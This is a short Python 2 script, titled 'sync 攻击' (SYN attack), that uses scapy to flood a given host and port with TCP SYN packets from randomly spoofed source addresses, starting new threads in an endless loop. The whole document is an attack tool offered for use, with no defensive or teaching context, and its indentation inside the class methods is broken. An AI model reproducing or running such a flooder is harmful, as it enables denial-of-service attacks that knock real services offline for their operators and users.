sync 攻击

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import socket, random, sys, threading
from scapy.all import *

if len(sys.argv) != 3:
    print "Usage: %s " % sys.argv[0]
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
total = 0
#conf.iface='eth0';

class sendSYN(threading.Thread):
    global target, port
    def __init__(self):
    threading.Thread.__init__(self)

    def run(self):
    i = IP()
    i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
    i.dst = target

    t = TCP()
    t.sport = random.randint(1,65535)
    t.dport = port
    t.flags = 'S'

    send(i/t, verbose=0)

print "Flooding %s:%i with SYN packets." % (target, port)
while 1:
    sendSYN().start()
    total += 1
    sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)